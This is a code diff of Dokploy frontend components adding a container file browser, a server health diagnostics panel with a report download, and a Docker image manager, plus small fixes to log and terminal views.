onClick={() =>
navigate(`/${breadcrumbs.slice(0, -1).join("/")}` || "/")
}
>
<Folder className="size-4 shrink-0 text-muted-foreground" />
..
</button>
)}
{entries?.length === 0 && (
<span className="px-2 py-1.5 text-sm text-muted-foreground">
Empty directory
</span>
)}
{entries?.map((entry) => {
const entryPath = joinPath(path, entry.name);
return (
<div
key={entry.name}
className={`group flex items-center rounded-md hover:bg-muted ${
selectedFile === entryPath ? "bg-muted" : ""
}`}
>
<button
type="button"
className="flex flex-1 items-center gap-2 px-2 py-1.5 text-sm text-left min-w-0"
onClick={() =>
entry.isDirectory
? navigate(entryPath)
: setSelectedFile(entryPath)
}
>
{entry.isDirectory ? (
<Folder className="size-4 shrink-0 text-muted-foreground" />
) : (
<File className="size-4 shrink-0 text-muted-foreground" />
)}
<span className="truncate">{entry.name}</span>
</button>
<DialogAction
title={`Delete ${entry.name}?`}
description={`This will permanently delete ${entryPath}${entry.isDirectory ? " and all its contents" : ""}.`}
onClick={() => deleteEntry(entryPath)}
>
<Button
variant="ghost"
size="icon"
className="size-7 opacity-0 group-hover:opacity-100 shrink-0"
isLoading={isDeleting}
>
<Trash2 className="size-3.5 text-destructive" />
</Button>
</DialogAction>
</div>
);
})}
</div>
)}
</div>
<div className="flex-1 min-w-0 flex flex-col gap-2">
{!selectedFile ? (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
Select a file to view or edit it
</div>
) : isLoadingFile ? (
<div className="flex flex-1 items-center justify-center gap-2 text-sm text-muted-foreground rounded-lg border">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : fileError ? (
<AlertBlock type="error">{fileError.message}</AlertBlock>
) : (
<>
<div className="flex items-center gap-2">
<span className="text-sm font-mono truncate text-muted-foreground">
{selectedFile}
</span>
<div className="ml-auto flex items-center gap-2">
<Button variant="outline" size="sm" onClick={downloadFile}>
<Download className="size-4" />
Download
</Button>
<Button
size="sm"
isLoading={isSaving}
disabled={isBinary || file?.truncated}
onClick={saveFile}
>
Save
</Button>
</div>
</div>
{file?.truncated ? (
<AlertBlock type="warning">
This file is larger than 512KB. Showing a truncated preview;
editing is disabled. Use Download to get the truncated
content or the terminal for full access.
</AlertBlock>
) : isBinary ? (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
Binary file use Download instead
</div>
) : (
<div className="flex-1 overflow-auto rounded-lg border">
<CodeEditor
lineWrapping
value={editorContent}
onChange={(value) => setEditorContent(value)}
wrapperClassName="h-full font-mono"
/>
</div>
)}
</>
)}
</div>
</div>
</DialogContent>
</Dialog>
);
};

View File

@ -0,0 +1,454 @@
import {
AlertTriangle,
Cpu,
Download,
HardDrive,
Loader2,
Network,
RefreshCw,
Server as ServerIcon,
} from "lucide-react";
import { useState } from "react";
import { CodeEditor } from "@/components/shared/code-editor";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Card } from "@/components/ui/card";
import { Progress } from "@/components/ui/progress";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import { api } from "@/utils/api";
interface Props {
serverId?: string;
}
const bytesToGb = (bytes: number) => (bytes / 1024 ** 3).toFixed(1);
const nanoCpusToCores = (nanoCpus: number) => (nanoCpus / 1e9).toFixed(2);
const pct = (used: number, total: number) =>
Math.min(100, Math.round((used / (total || 1)) * 100));
const SINCE_HOURS_OPTIONS = [
{ label: "Last hour", value: 1 },
{ label: "Last 6 hours", value: 6 },
{ label: "Last 24 hours", value: 24 },
{ label: "Last 7 days", value: 168 },
];
export const ShowHealth = ({ serverId }: Props) => {
const [sinceHours, setSinceHours] = useState(24);
const {
data: health,
isFetching,
refetch,
isFetched,
} = api.docker.getServerHealth.useQuery(
{ serverId, sinceHours },
{ refetchOnMount: false, refetchOnWindowFocus: false },
);
const memUsedPct = health
? pct(health.resources.memUsedBytes, health.resources.memTotalBytes)
: 0;
const diskUsedPct = health
? pct(health.disk.usedBytes, health.disk.totalBytes)
: 0;
const inotifyUsedPct = health
? pct(health.inotify.currentInstances, health.inotify.maxInstances)
: 0;
const daemonLogsWindowText = health?.daemonLogsWindow
? `Logs from ${new Date(health.daemonLogsWindow.fromEpoch * 1000).toLocaleString()} to ${new Date(health.daemonLogsWindow.toEpoch * 1000).toLocaleString()}`
: null;
const daemonErrorsText = [
daemonLogsWindowText,
health && health.daemonErrors.length > 0
? health.daemonErrors.join("\n")
: "(no daemon errors matched in this window)",
]
.filter(Boolean)
.join("\n\n");
const buildHealthReport = () => {
if (!health) return "";
const lines: string[] = [];
lines.push("# Dokploy server health report");
lines.push(`Generated: ${new Date(health.checkedAt).toLocaleString()}`);
lines.push(
`Window: ${SINCE_HOURS_OPTIONS.find((o) => o.value === sinceHours)?.label ?? `${sinceHours}h`}`,
);
lines.push("");
lines.push("## Containers & services");
lines.push(`Containers: ${health.containers.containerCount}`);
lines.push(`Swarm services: ${health.containers.serviceCount}`);
lines.push("");
lines.push("## Host resources");
lines.push(
`Memory: ${bytesToGb(health.resources.memUsedBytes)} / ${bytesToGb(health.resources.memTotalBytes)} GB`,
);
lines.push(`CPU cores: ${health.resources.cpuCount}`);
lines.push("");
lines.push("## Disk (/)");
lines.push(
`${bytesToGb(health.disk.usedBytes)} / ${bytesToGb(health.disk.totalBytes)} GB`,
);
lines.push("");
lines.push("## Inotify");
lines.push(
`max_user_instances: ${health.inotify.currentInstances} / ${health.inotify.maxInstances}`,
);
lines.push(`max_user_watches: ${health.inotify.maxWatches}`);
lines.push(`max_queued_events: ${health.inotify.maxQueuedEvents}`);
lines.push(
`Persisted in sysctl: ${health.inotify.persisted ? "yes" : "no"}`,
);
lines.push("");
lines.push("## Docker networks");
lines.push(`Total networks: ${health.dockerNetworks.count}`);
if (health.dockerNetworks.addressPools) {
lines.push(
`default-address-pools: ${JSON.stringify(health.dockerNetworks.addressPools)}`,
);
}
if (health.dockerNetworks.usageError) {
lines.push(
`Could not read network IP usage: ${health.dockerNetworks.usageError}`,
);
} else if (health.dockerNetworks.usage.length > 0) {
lines.push("");
lines.push(
"| Network | Driver | Subnet | IPs in use | Capacity | Usage |",
);
lines.push("|---|---|---|---|---|---|");
for (const n of health.dockerNetworks.usage) {
lines.push(
`| ${n.name} | ${n.driver} | ${n.subnet ?? "auto"} | ${n.containersInUse} | ${n.capacity ?? "—"} | ${n.percentUsed ?? "—"}% |`,
);
}
}
lines.push("");
if (health.reservation) {
lines.push("## Memory/CPU reservation");
lines.push(
`Reserved memory: ${bytesToGb(health.reservation.memoryReservedBytes)} GB`,
);
lines.push(
`Reserved CPU: ${nanoCpusToCores(health.reservation.cpuReservedNanoCpus)} cores`,
);
lines.push(`Across ${health.reservation.appCount} Application services`);
if (health.reservation.unsupportedComposeCount > 0) {
lines.push(
`${health.reservation.unsupportedComposeCount} Compose service(s) not included (not tracked per-service)`,
);
}
lines.push("");
}
lines.push("## Docker daemon errors (raw)");
lines.push("```");
lines.push(daemonErrorsText);
lines.push("```");
return lines.join("\n");
};
const handleDownload = () => {
const report = buildHealthReport();
if (!report) return;
const blob = new Blob([report], { type: "text/markdown" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = `dokploy-health-report-${new Date().toISOString().replace(/[:.]/g, "-")}.md`;
a.click();
URL.revokeObjectURL(url);
};
return (
<div className="flex flex-col gap-4 w-full">
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
<div className="flex items-center justify-between gap-4 flex-wrap">
<div>
<h3 className="text-lg font-medium">Server diagnostics</h3>
<p className="text-sm text-muted-foreground max-w-xl">
Runs a read-only check over SSH (inotify limits, disk, Docker
network pool, daemon errors). Runs automatically when you open
this tab click Re-check to refresh.
</p>
</div>
<div className="flex items-center gap-2">
<Select
value={String(sinceHours)}
onValueChange={(v) => setSinceHours(Number(v))}
>
<SelectTrigger className="w-[160px]">
<SelectValue />
</SelectTrigger>
<SelectContent>
{SINCE_HOURS_OPTIONS.map((opt) => (
<SelectItem key={opt.value} value={String(opt.value)}>
{opt.label}
</SelectItem>
))}
</SelectContent>
</Select>
<Button onClick={() => refetch()} disabled={isFetching}>
{isFetching ? (
<Loader2 className="size-4 animate-spin mr-2" />
) : (
<RefreshCw className="size-4 mr-2" />
)}
{isFetched ? "Re-check" : "Check server health"}
</Button>
{health && !health.error && (
<Button variant="outline" onClick={handleDownload}>
<Download className="size-4 mr-2" />
Download report
</Button>
)}
</div>
</div>
{isFetching && !health && (
<div className="flex flex-col items-center justify-center gap-2 py-12 text-muted-foreground border border-dashed rounded-xl">
<Loader2 className="size-8 animate-spin" />
<span>Checking server health</span>
</div>
)}
{health?.error && (
<div className="text-sm text-destructive border border-destructive/30 bg-destructive/10 rounded-lg p-3">
Couldn't read server health: {health.error}
</div>
)}
{health && !health.error && (
<div
className={`grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4 transition-opacity ${isFetching ? "opacity-50" : ""}`}
>
<Card className="p-4">
<div className="flex items-center gap-2 text-sm font-medium mb-2">
<ServerIcon className="size-4 text-muted-foreground" />
Containers &amp; services
</div>
<div className="text-2xl font-semibold">
{health.containers.containerCount}
</div>
<div className="text-xs text-muted-foreground">
containers · {health.containers.serviceCount} swarm services
</div>
</Card>
<Card className="p-4">
<div className="flex items-center gap-2 text-sm font-medium mb-2">
<Cpu className="size-4 text-muted-foreground" />
Host resources
</div>
<div className="text-sm">
Memory: {bytesToGb(health.resources.memUsedBytes)} /{" "}
{bytesToGb(health.resources.memTotalBytes)} GB
</div>
<Progress value={memUsedPct} className="h-2 mt-1" />
<div className="text-xs text-muted-foreground mt-2">
{health.resources.cpuCount} CPU cores
</div>
</Card>
<Card className="p-4">
<div className="flex items-center gap-2 text-sm font-medium mb-2">
<HardDrive className="size-4 text-muted-foreground" />
Disk (/)
</div>
<div className="text-sm">
{bytesToGb(health.disk.usedBytes)} /{" "}
{bytesToGb(health.disk.totalBytes)} GB
</div>
<Progress value={diskUsedPct} className="h-2 mt-1" />
</Card>
<Card className="p-4">
<div className="flex items-center justify-between gap-2 text-sm font-medium mb-2">
<span className="flex items-center gap-2">
<AlertTriangle className="size-4 text-muted-foreground" />
Inotify
</span>
<Badge
variant={health.inotify.persisted ? "default" : "secondary"}
>
{health.inotify.persisted ? "persisted" : "runtime only"}
</Badge>
</div>
<div className="text-sm">
max_user_instances: {health.inotify.currentInstances} /{" "}
{health.inotify.maxInstances.toLocaleString()} (
{inotifyUsedPct}%)
</div>
<Progress value={inotifyUsedPct} className="h-2 mt-1" />
<div className="text-xs text-muted-foreground mt-2">
max_user_watches: {health.inotify.maxWatches.toLocaleString()}{" "}
· max_queued_events:{" "}
{health.inotify.maxQueuedEvents.toLocaleString()}
</div>
</Card>
<Card className="p-4">
<div className="flex items-center gap-2 text-sm font-medium mb-2">
<Network className="size-4 text-muted-foreground" />
Docker networks
</div>
<div className="text-2xl font-semibold">
{health.dockerNetworks.count}
</div>
<div className="text-xs text-muted-foreground">
The default Docker address pool is exhausted around ~30
networks unless <code>default-address-pools</code> is
configured in <code>/etc/docker/daemon.json</code>.
{health.dockerNetworks.addressPools
? " Custom pool detected on this server."
: ""}
</div>
</Card>
{health.reservation && (
<Card className="p-4">
<div className="flex items-center gap-2 text-sm font-medium mb-2">
<Cpu className="size-4 text-muted-foreground" />
Memory/CPU reservation
</div>
<div className="text-sm">
{bytesToGb(health.reservation.memoryReservedBytes)} GB
reserved ·{" "}
{nanoCpusToCores(health.reservation.cpuReservedNanoCpus)}{" "}
CPUs reserved
</div>
<div className="text-xs text-muted-foreground mt-2">
Across {health.reservation.appCount} Application services.
{health.reservation.unsupportedComposeCount > 0
? ` ${health.reservation.unsupportedComposeCount} Compose service(s) on this server aren't included — reservations aren't tracked per-service for Compose.`
: ""}
</div>
</Card>
)}
</div>
)}
{health &&
!health.error &&
(health.dockerNetworks.usage.length > 0 ||
health.dockerNetworks.usageError) && (
<div className="flex flex-col gap-2">
<h4 className="text-sm font-medium flex items-center gap-2">
<Network className="size-4 text-muted-foreground" />
Network IP usage
</h4>
<p className="text-xs text-muted-foreground">
IPs assigned to containers vs. the subnet's usable capacity,
per network including reserved networks like{" "}
<code>dokploy-network</code>. A network stuck near 100% blocks
new containers from starting even when the host has plenty of
other resources free.
</p>
{health.dockerNetworks.usageError ? (
<div className="text-sm text-destructive border border-destructive/30 bg-destructive/10 rounded-lg p-3">
Couldn't read network IP usage:{" "}
{health.dockerNetworks.usageError}
</div>
) : (
<div className="rounded-lg border overflow-x-auto">
<Table>
<TableHeader>
<TableRow>
<TableHead>Network</TableHead>
<TableHead>Driver</TableHead>
<TableHead>Subnet</TableHead>
<TableHead>IPs in use</TableHead>
<TableHead>Usage</TableHead>
</TableRow>
</TableHeader>
<TableBody>
{health.dockerNetworks.usage.map((n) => (
<TableRow key={n.name}>
<TableCell className="font-medium">
{n.name}
</TableCell>
<TableCell className="text-muted-foreground">
{n.driver}
</TableCell>
<TableCell className="text-muted-foreground">
{n.subnet ?? "Auto"}
</TableCell>
<TableCell className="text-muted-foreground">
{n.capacity !== null
? `${n.containersInUse} / ${n.capacity}`
: n.containersInUse}
</TableCell>
<TableCell>
{n.percentUsed !== null ? (
<Badge
variant={
n.percentUsed >= 90
? "red"
: n.percentUsed >= 70
? "yellow"
: "green"
}
>
{n.percentUsed}%
</Badge>
) : (
<span className="text-muted-foreground text-xs">
</span>
)}
</TableCell>
</TableRow>
))}
</TableBody>
</Table>
</div>
)}
</div>
)}
{health && !health.error && (
<div className="flex flex-col gap-2">
<h4 className="text-sm font-medium">
Docker daemon errors (
{SINCE_HOURS_OPTIONS.find(
(o) => o.value === sinceHours,
)?.label.toLowerCase()}
)
</h4>
<CodeEditor
value={daemonErrorsText}
language="shell"
disabled
lineWrapping
wrapperClassName="h-64 rounded-lg border"
/>
</div>
)}
</div>
</Card>
</div>
);
};

View File

@ -0,0 +1,470 @@
"use client";
import {
type ColumnDef,
flexRender,
getCoreRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
type SortingState,
useReactTable,
} from "@tanstack/react-table";
import type { inferRouterOutputs } from "@trpc/server";
import { ArrowUpDown, Eye, Layers, Loader2, Trash2 } from "lucide-react";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { DialogAction } from "@/components/shared/dialog-action";
import {
AlertDialog,
AlertDialogAction,
AlertDialogCancel,
AlertDialogContent,
AlertDialogDescription,
AlertDialogFooter,
AlertDialogHeader,
AlertDialogTitle,
} from "@/components/ui/alert-dialog";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import type { AppRouter } from "@/server/api/root";
import { api } from "@/utils/api";
type ImageBase =
inferRouterOutputs<AppRouter>["dockerImage"]["getImages"][number];
type ImageRow = ImageBase & { key: string };
interface Props {
serverId?: string;
}
const SIZE_UNITS: Record<string, number> = {
b: 1,
kb: 1e3,
mb: 1e6,
gb: 1e9,
tb: 1e12,
};
const parseSize = (size?: string) => {
if (!size) return -1;
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
if (!match?.[1] || !match[2]) return -1;
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
};
const getReference = (image: ImageBase) =>
image.Repository !== "<none>" && image.Tag !== "<none>"
? `${image.Repository}:${image.Tag}`
: image.ID;
const FORCE_HINT_REGEX =
/must be forced|image is being used|referenced in multiple repositories/i;
const SortableHeader = ({
column,
title,
}: {
column: {
getIsSorted: () => false | "asc" | "desc";
toggleSorting: (asc: boolean) => void;
};
title: string;
}) => (
<Button
variant="ghost"
className="-ml-3 h-8"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
{title}
<ArrowUpDown className="ml-2 size-4" />
</Button>
);
const ShowImageConfig = ({
imageRef,
serverId,
}: {
imageRef: string;
serverId?: string;
}) => {
const [open, setOpen] = useState(false);
const { data, isLoading, error } = api.dockerImage.getImageConfig.useQuery(
{ imageRef, serverId },
{ enabled: open },
);
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="ghost" size="icon-sm" aria-label="View image config">
<Eye className="size-4" />
</Button>
</DialogTrigger>
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
<DialogHeader>
<DialogTitle>Image Config</DialogTitle>
<DialogDescription>
docker image inspect output for "{imageRef}"
</DialogDescription>
</DialogHeader>
{error ? (
<AlertBlock type="error">{error.message}</AlertBlock>
) : isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
<code>
<pre className="whitespace-pre-wrap wrap-break-word">
<CodeEditor
language="json"
lineWrapping
lineNumbers={false}
readOnly
value={JSON.stringify(data, null, 2)}
/>
</pre>
</code>
</div>
)}
</DialogContent>
</Dialog>
);
};
export const ShowImages = ({ serverId }: Props) => {
const utils = api.useUtils();
const [sorting, setSorting] = useState<SortingState>([
{ id: "Repository", desc: false },
]);
const [globalFilter, setGlobalFilter] = useState("");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 10,
});
const [forcePrompt, setForcePrompt] = useState<{
image: ImageRow;
message: string;
} | null>(null);
const { data: images, isLoading } = api.dockerImage.getImages.useQuery({
serverId,
});
const { mutateAsync: removeImage } =
api.dockerImage.removeImage.useMutation();
const rows = useMemo<ImageRow[]>(
() =>
(images ?? []).map((image) => ({
...image,
key: `${image.ID}-${image.Repository}-${image.Tag}`,
})),
[images],
);
const filteredData = useMemo(() => {
if (!globalFilter.trim()) {
return rows;
}
const query = globalFilter.toLowerCase();
return rows.filter(
(image) =>
image.Repository.toLowerCase().includes(query) ||
image.Tag.toLowerCase().includes(query) ||
image.ID.toLowerCase().includes(query),
);
}, [rows, globalFilter]);
const handleDelete = async (image: ImageRow, force = false) => {
try {
await removeImage({
repository: image.Repository,
tag: image.Tag,
id: image.ID,
force,
serverId,
});
toast.success("Image deleted");
setForcePrompt(null);
await utils.dockerImage.getImages.invalidate();
} catch (error) {
const message = error instanceof Error ? error.message : "Unknown error";
if (!force && FORCE_HINT_REGEX.test(message)) {
setForcePrompt({ image, message });
} else {
toast.error("Error deleting image", { description: message });
}
}
};
const columns = useMemo<ColumnDef<ImageRow>[]>(
() => [
{
accessorKey: "Repository",
header: ({ column }) => (
<SortableHeader column={column} title="Repository" />
),
cell: ({ row }) => (
<div
className="max-w-[280px] truncate font-medium"
title={row.original.Repository}
>
{row.original.Repository}
</div>
),
},
{
accessorKey: "Tag",
header: ({ column }) => <SortableHeader column={column} title="Tag" />,
cell: ({ row }) => <Badge variant="outline">{row.original.Tag}</Badge>,
},
{
accessorKey: "ID",
header: ({ column }) => (
<SortableHeader column={column} title="Image ID" />
),
cell: ({ row }) => (
<span className="font-mono text-xs text-muted-foreground">
{row.original.ID}
</span>
),
},
{
id: "Size",
accessorFn: (image) => parseSize(image.Size),
header: ({ column }) => <SortableHeader column={column} title="Size" />,
cell: ({ row }) => (
<span className="text-muted-foreground">{row.original.Size}</span>
),
},
{
id: "Created",
accessorFn: (image) => new Date(image.CreatedAt).getTime() || 0,
header: ({ column }) => (
<SortableHeader column={column} title="Created" />
),
cell: ({ row }) => (
<span className="text-muted-foreground whitespace-nowrap">
{row.original.CreatedSince}
</span>
),
},
{
id: "actions",
enableSorting: false,
header: () => <div className="text-right">Actions</div>,
cell: ({ row }) => (
<div className="flex items-center justify-end gap-3">
<ShowImageConfig
imageRef={getReference(row.original)}
serverId={serverId}
/>
<DialogAction
title="Delete image"
description={`The image "${getReference(row.original)}" will be removed from Docker. This action cannot be undone.`}
onClick={() => handleDelete(row.original)}
>
<Button variant="ghost" size="icon-sm" aria-label="Delete image">
<Trash2 className="size-4 text-destructive" />
</Button>
</DialogAction>
</div>
),
},
],
[serverId],
);
const table = useReactTable({
data: filteredData,
columns,
getRowId: (row) => row.key,
state: {
sorting,
pagination,
},
onSortingChange: setSorting,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
<div className="rounded-xl bg-background shadow-md ">
<CardHeader className="">
<CardTitle className="text-xl flex flex-row gap-2">
<Layers className="size-6 text-muted-foreground self-center" />
Images
</CardTitle>
<CardDescription>
Manage the Docker images of the selected server.
</CardDescription>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
{isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !images?.length ? (
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
<div className="rounded-full bg-muted p-4">
<Layers className="size-10 text-muted-foreground" />
</div>
<div className="space-y-1 text-center">
<p className="text-sm font-medium">No images found</p>
<p className="max-w-sm text-sm text-muted-foreground">
Docker images pulled or built on this server will appear
here.
</p>
</div>
</div>
) : (
<>
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by repository, tag or id..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
</div>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
No images match your filters.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
{table.getPageCount() > 1 && (
<div className="flex items-center justify-end gap-4">
<span className="text-sm text-muted-foreground">
Page {table.getState().pagination.pageIndex + 1} of{" "}
{table.getPageCount()}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
<AlertDialog
open={!!forcePrompt}
onOpenChange={(open) => !open && setForcePrompt(null)}
>
<AlertDialogContent>
<AlertDialogHeader>
<AlertDialogTitle>Image is in use</AlertDialogTitle>
<AlertDialogDescription>
{forcePrompt?.message} Do you want to force the deletion? This may
affect containers still using this image.
</AlertDialogDescription>
</AlertDialogHeader>
<AlertDialogFooter>
<AlertDialogCancel onClick={() => setForcePrompt(null)}>
Cancel
</AlertDialogCancel>
<AlertDialogAction
variant="destructive"
onClick={() =>
forcePrompt && handleDelete(forcePrompt.image, true)
}
>
Force delete
</AlertDialogAction>
</AlertDialogFooter>
</AlertDialogContent>
</AlertDialog>
</div>
);
};

View File

@ -26,6 +26,11 @@ interface Props {
serviceId?: string;
}
// Sentinel the container-picker views fall back to before a real container
// is selected/auto-selected — querying logs for it just surfaces Docker's
// raw "No such container: select-a-container" daemon error.
const PLACEHOLDER_CONTAINER_ID = "select-a-container";
export const priorities = [
{
label: "Info",
@ -55,13 +60,16 @@ export const DockerLogsId: React.FC<Props> = ({
runType,
serviceId,
}) => {
const hasContainer =
!!containerId && containerId !== PLACEHOLDER_CONTAINER_ID;
const { data } = api.docker.getConfig.useQuery(
{
containerId,
serverId: serverId ?? undefined,
},
{
enabled: !!containerId,
enabled: hasContainer,
},
);
@ -134,7 +142,7 @@ export const DockerLogsId: React.FC<Props> = ({
};
useEffect(() => {
if (!containerId) return;
if (!hasContainer) return;
let isCurrentConnection = true;
let noDataTimeout: NodeJS.Timeout;
@ -344,11 +352,11 @@ export const DockerLogsId: React.FC<Props> = ({
/>
</div>
<div className="flex gap-2">
<div className="flex flex-wrap gap-2">
<Button
variant="outline"
size="sm"
className="h-9"
className="h-9 w-full sm:w-auto"
onClick={handlePauseResume}
title={isPaused ? "Resume logs" : "Pause logs"}
>
@ -364,7 +372,7 @@ export const DockerLogsId: React.FC<Props> = ({
<Button
variant="outline"
size="sm"
className="h-9"
className="h-9 w-full sm:w-auto"
onClick={handleCopy}
disabled={filteredLogs.length === 0}
title="Copy logs to clipboard"
@ -381,7 +389,7 @@ export const DockerLogsId: React.FC<Props> = ({
<Button
variant="outline"
size="sm"
className="h-9 sm:w-auto w-full"
className="h-9 w-full sm:w-auto"
onClick={handleDownload}
disabled={filteredLogs.length === 0 || !data?.Name}
title="Download logs as text file"
@ -410,7 +418,7 @@ export const DockerLogsId: React.FC<Props> = ({
<div
ref={scrollRef}
onScroll={handleScroll}
className="h-[720px] overflow-y-auto space-y-0 border p-4 bg-[#fafafa] dark:bg-[#050506] rounded custom-logs-scrollbar"
className="h-[50vh] sm:h-[720px] overflow-y-auto space-y-0 border p-4 bg-[#fafafa] dark:bg-[#050506] rounded custom-logs-scrollbar"
>
{filteredLogs.length > 0 ? (
filteredLogs.map((filteredLog: LogLine, index: number) => (
@ -425,10 +433,15 @@ export const DockerLogsId: React.FC<Props> = ({
<div className="flex justify-center items-center h-full text-muted-foreground">
<Loader2 className="h-6 w-6 animate-spin" />
</div>
) : (
) : hasContainer ? (
<div className="flex justify-center items-center h-full text-muted-foreground">
No logs found
</div>
) : (
<div className="flex justify-center items-center h-full text-center text-sm text-muted-foreground px-8">
Select a container above to view its logs. If none are listed,
make sure the service is deployed and running.
</div>
)}
</div>
</div>

View File

@ -64,7 +64,9 @@ export function TerminalLine({ log, noTimestamp, searchTerm }: LogLineProps) {
const tooltip = (color: string, timestamp: string | null) => {
const square = (
<div className={cn("w-2 h-full shrink-0 rounded-[3px]", color)} />
<div
className={cn("w-2 min-h-4 h-full flex-shrink-0 rounded-[3px]", color)}
/>
);
return timestamp ? (
<TooltipProvider delayDuration={0} disableHoverableContent>
@ -88,7 +90,7 @@ export function TerminalLine({ log, noTimestamp, searchTerm }: LogLineProps) {
return (
<div
className={cn(
"font-mono text-xs flex flex-row gap-3 py-2 sm:py-0.5 group",
"font-mono text-xs flex flex-col sm:flex-row gap-1 sm:gap-3 py-2 sm:py-0.5 group",
type === "error"
? "bg-red-500/10 hover:bg-red-500/15"
: type === "warning"
@ -104,7 +106,7 @@ export function TerminalLine({ log, noTimestamp, searchTerm }: LogLineProps) {
{/* <Square className="size-4 text-muted-foreground opacity-0 group-hover/logitem:opacity-100 transition-opacity" /> */}
{tooltip(color, rawTimestamp)}
{!noTimestamp && (
<span className="select-none pl-2 text-muted-foreground w-full sm:w-40 shrink-0">
<span className="select-none pl-2 text-muted-foreground w-auto sm:w-40 flex-shrink-0">
{formattedTime}
</span>
)}

View File

@ -7,6 +7,28 @@ export interface LogLine {
message: string;
}
interface ContainerOption {
containerId: string;
}
export const resolveContainerSelection = (
currentContainerId: string | undefined,
containers: readonly ContainerOption[] | undefined,
) => {
if (!containers) {
return currentContainerId;
}
if (
currentContainerId &&
containers.some(({ containerId }) => containerId === currentContainerId)
) {
return currentContainerId;
}
return containers[0]?.containerId;
};
interface LogStyle {
type: LogType;
variant: LogVariant;

View File

@ -12,6 +12,7 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { ShowContainerConfig } from "../config/show-container-config";
import { FilesExplorerModal } from "../files/files-explorer-modal";
import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
import { ShowContainerMounts } from "../mounts/show-container-mounts";
import { ShowContainerNetworks } from "../networks/show-container-networks";
@ -173,6 +174,12 @@ export const columns: ColumnDef<Container>[] = [
>
Terminal
</DockerTerminalModal>
<FilesExplorerModal
containerId={container.containerId}
serverId={container.serverId || undefined}
>
Browse Files
</FilesExplorerModal>
<UploadFileModal
containerId={container.containerId}
serverId={container.serverId || undefined}

View File

@ -3,8 +3,10 @@ import React, { useEffect, useRef } from "react";
import { FitAddon } from "xterm-addon-fit";
import "@xterm/xterm/css/xterm.css";
import { AttachAddon } from "@xterm/addon-attach";
import { ClipboardAddon } from "@xterm/addon-clipboard";
import { useTheme } from "next-themes";
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
interface Props {
id: string;
@ -13,6 +15,10 @@ interface Props {
serviceId?: string;
}
// Sentinel the container-picker modal renders with before a real container
// is selected/auto-selected — never worth opening a connection for.
const PLACEHOLDER_CONTAINER_ID = "select-a-container";
export const DockerTerminal: React.FC<Props> = ({
id,
containerId,
@ -23,55 +29,105 @@ export const DockerTerminal: React.FC<Props> = ({
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
